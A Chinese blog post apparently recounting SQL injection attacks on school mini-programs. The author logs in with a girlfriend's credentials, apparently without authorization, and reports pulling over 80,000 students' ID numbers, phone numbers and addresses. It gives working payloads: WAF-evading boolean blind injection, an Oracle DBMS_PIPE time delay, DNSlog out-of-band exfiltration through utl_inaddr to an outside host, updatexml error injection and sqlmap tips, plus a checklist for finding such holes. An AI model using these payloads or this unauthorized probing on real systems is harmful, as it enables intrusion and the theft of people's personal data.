edu-SQL注入案例分享

闲来无事,想挖挖小程序漏洞,然后想到女朋友学校貌似还没动过嘿嘿,要来了账号密码先登录了他们学校的门户网站,一通乱搞,啥也没发现,不死心去小程序看了看,随记录本次测试流程。

这里直接打开小程序,配置好burp和proxifier抓包

图片

 

图片

打开小程序自动抓取了两个数据包,这里一看,直接遍历api参数,看看能返回哪些数据,遍历就不放图出来了,发现1-27都有数据,其中不乏包括姓名,身份证,学号,班级,校区,有住址,手机号等,其中身份证条数更是多达八万多条,随便放两张图。

图片

图片

测试到这儿我以为结束了,准备关闭小程序交洞去了,手突然碰到一个单引号,突然点了个发送,巧了,返回包突然出现了报错。

图片

这里我进入了死胡同,一直拿着api参数注入,后面发现后面还有个参数order_flow_status,貌似是表示字段,这里果断换成身份证字段进行注入,后面发现存在waf,很多报错函数被拦截,于是使用盲注手法进行注入。

sql注入常用函数

1、system_user()系统用户名

2、user()用户名

3、current_user()当前用户名

4、session_user()链接数据库的用户名

5、database()数据库名

6、version()数据库版本

7、@@datadir数据库路径

8、@@basedir数据库安装路径

9、@@version_conpile_os操作系统

10、count()返回执行结果数量

11、concat()没有分隔符的链接字符串

12、concat_ws()含有分隔符的连接字符串

13、group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据

14、load_file()读取本地文件

15、into outfile 写文件

16、ascii()字符串的ASCII代码值

17、ord()返回字符串第一个字符的ASCII值

18、mid()返回一个字符串的一部分

19、substr()返回一个字符串的一部分

20、length()返回字符串的长度

21、left()返回字符串最左面几个字符

22、floor()返回小于或等于x的最大整数

23、rand()返回0和1之间的一个随机数

该系统有WAF,禁用的函数有:select,ascii,substr,sleep,waitfor delay,mid,left,concat等等。

最终不断测试还好database和length没有禁用。

测试注入

当前执行的为exp(0)=1返回为true,因此查到数据,但因数据太大,则数据在burp不显示,而数据则为接口越权返回的数据相同。当前执行的为exp(0)=2返回为false,因此查到数据为空,证明存在布尔型盲注。

**下图SQL解释:**如果数据库名称长度为1,则返回1,否则exp(0)=1

图片

图片

查数据库版本

通过测试发现数据库版本长度为10

图片

利用ord()和right()函数爆破数据库版本,对照ASCII编码表很轻松就能得知数据库版本,这里随意放两张爆破图

  • ord():返回字符串第一个字符的ASCII值

  • right():返回字符串最右面几个字符

**下图SQL解释:**如果数据库版本从右往左数第十位的ASCII值为53为真,返回1(true),否则返回exp(0)=2(false)。

图片

图片

通过逐个遍历遍历,第九第八最终得出数据库版本

最终数据库版本为5.7.30-log

查数据库名称

再度查询到数据库长度为12,经过爆破后得到数据库名为xxx_xxx_xxxx,随意放两张截图

图片

图片

0x02 就诊需谨慎

某学校就诊挂号小程序点击进入,在userID处写27551 or 1=1 恒为真时,返回全部数据,包括身份证,电话,住址等等。

图片

尝试联合注入发现缺少from关键字,联想到在 oracle中使用查询语句必须跟一个表名,因此猜测是Oracle数据库

图片

下面尝试两种形式证明漏洞

延时注入

SQL语句:and DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5)=1

延时10秒

图片

延时5秒

图片

DNSlog注入

由于延时注入太耗费时间,选择数据带外

图片

SQL语句:查询用户名

and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog地址') from dual)is not null --

图片

SQL语句:查询库名

and (select utl_inaddr.get_host_address((select name from v$database)||'.dnslog地址') from dual)is not null --

图片

图片

0x03 两个常规注入

报错注入

常规sql报错语句,无WAF:

'and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) -- q

图片

可直接SQLmap

小贴士:小程序sql注入直接粘贴burp中的包是跑不出来的,因为强制https的原因,我们需要在host后面加上443端口。

图片

图片

0x04 总结

上述sql注入均为小程序中出现的漏洞。

小程序中在不反编译代码的情况下,一般测试如下:

  1. 点击所有功能,逐个分析每个数据包,极大概率存在敏感信息泄露和未授权的接口。

  2. 对参数进行挨个测试,在用户名,id,分页功能处均可能存在SQL注入,且尽量使用手工,sqlmap说不定会让你错过很多注入的洞,有十足把握或者无WAF再尝试sqlmap。

  3. 文件上传大多为静态目录,可能存在极少数会上传后端拿到shell。

  4. 平行越权大概率有SQL注入。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值